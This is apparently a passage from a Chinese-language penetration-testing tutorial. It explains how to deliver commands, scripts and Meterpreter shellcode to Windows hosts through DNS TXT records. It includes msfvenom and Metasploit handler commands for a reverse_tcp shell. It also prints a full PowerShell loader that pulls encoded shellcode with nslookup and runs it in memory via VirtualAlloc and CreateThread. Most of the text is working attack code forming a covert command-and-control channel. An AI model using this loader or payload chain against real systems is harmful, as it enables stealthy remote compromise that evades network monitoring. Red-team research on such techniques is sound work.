此处比较重要的参数为 startdomain ,他会与我们输入的cmdstring以及psstring进行比较,如果与cmdstring值相等,则执行 commanddomain 即命令,与psstring相等则执行 psdomain 即脚本。
上面为执行命令,所以cmdstring值我们输入为start,与start.evi1cg.me的txt记录值相等,psstring随便输入,不留空就行。执行结果如下图:

我们可以通过修改command.domain的TXT值来执行不同的命令。比如Get-Host:

2.执行脚本
PS F:/DNS> . ./DNS_TXT_Pwnage.ps1 PS F:/DNS> DNS_TXT_Pwnage -startdomain start.evi1cg.me -cmdstring bulabula -commanddomain command.evi1cg.me -psstring start -psdomain ps.evi1 cg.me -Arguments Get-User -Subdomains 2 -StopString stop
这里要注意,psstring的值为start,与start.domain的TXT记录相同,cmdstring为任意字符串。效果如下图:

这里多一个参数 Arguments ,要写明要执行的函数名,测试发现,在脚本中含有中文时会失败。对于需要带参数的脚本可以修改脚本指定参数值。
0x03 执行Shellcode
可以通过TXT记录执行shellcode,首先,我们使用msf生成一个powershell的shellcode:
? ~ sudo msfvenom -p windows/meterpreter/reverse_tcp -f powershell LHOST=x.x.x.x LPORT=8887 > pspayload.txt
使用Out-DnsTxt对生成的文件进行转换:
PS F:/DNS> Out-DnsTxt -DataToEncode ./pspayload.txt You need to create 3 TXT records. All TXT Records written to F:/DNS/encodedtxt.txt
然后将以上记录分别添加到TXT记录中,如下图:

测试使用的32位win7系统,使用msf开启监听:
msf > use exploit/multi/handler msf exploit(handler) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf exploit(handler) > set LPORT 8887 LPORT => 8887 msf exploit(handler) > set LHOST x.x.x.x LHOST => x.x.x.x msf exploit(handler) > exploit [*] Started reverse handler on x.x.x.x:8887 [*] Starting the payload handler...
我们还需要一个获取TXT记录并执行的脚本,这里我改了一个脚本:
function Execute-Code
{
<#
.PARAMETER Shelldomain
The domain (or subdomain) whose subbdomain's TXT records would hold shellcode.
.PARAMETER subdomains
The number of subdomains which would be used to provide shellcode from their TXT records.
.PARAMETER AUTHNS
Authoritative Name Server for the domains.
.EXAMPLE
PS > Execute-Code
The payload will ask for all required options.
.EXAMPLE
PS > Execute-Code -Shelldomain 32.alteredsecurity.com -SubDomains 5 -AUTHNS f1g1ns2.dnspod.net.
Use above from non-interactive shell.
#>
[CmdletBinding()] Param(
[Parameter(Position = 0, Mandatory = $True)]
[String]
$Shelldomain,
[Parameter(Position = 1, Mandatory = $True)]
[String]
$Subdomains,
[Parameter(Position = 2, Mandatory = $True)]
[String]
$AUTHNS
)
function Get-ShellCode
{
Param(
[Parameter()]
[String]
$Shelldomain
)
$i = 1
while ($i -le $subdomains)
{
$getcommand = (Invoke-Expression "nslookup -querytype=txt $i.$Shelldomain $AUTHNS")
$temp = $getcommand | select-string -pattern "`""
$tmp1 = ""
$tmp1 = $tmp1 + $temp
$encdata = $encdata + $tmp1 -replace '/s+', "" -replace "`"", ""
$i++
}
#$encdata = ""
$dec = [System.Convert]::FromBase64String($encdata)
$ms = New-Object System.IO.MemoryStream
$ms.Write($dec, 0, $dec.Length)
$ms.Seek(0,0) | Out-Null
$cs = New-Object System.IO.Compression.DeflateStream ($ms, [System.IO.Compression.CompressionMode]::Decompress)
$sr = New-Object System.IO.StreamReader($cs)
$sc = $sr.readtoend()
return $sc
}
$Shell = (Get-ShellCode $Shelldomain)
#Remove unrequired things from msf shellcode
$tmp = $Shell -replace "`n","" -replace '/$buf /+/= ',"," -replace '/[Byte/[/]/] /$buf /=' -replace " "
[Byte[]]$sc = $tmp -split ','
#Code Execution logic
$code = @"
[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("msvcrt.dll")]
public static extern IntPtr memset(IntPtr dest, uint src, uint count);
"@
$winFunc = Add-Type -memberDefinition $code -Name "Win32" -namespace Win32Functions -passthru
$size = 0x1000
if ($sc.Length -gt 0x1000) {$size = $sc.Length}
$x=$winFunc::VirtualAlloc(0,0x1000,$size,0x40)
for ($i=0;$i -le ($sc.Length-1);$i++) {$winFunc::memset([IntPtr]($x.ToInt64()+$i), $sc[$i], 1)}
Try {
$winFunc::CreateThread(0,0,$x,0,0,0)
sleep 100000
}
Catch
{
[system.exception]
"caught a system exception"
}
}










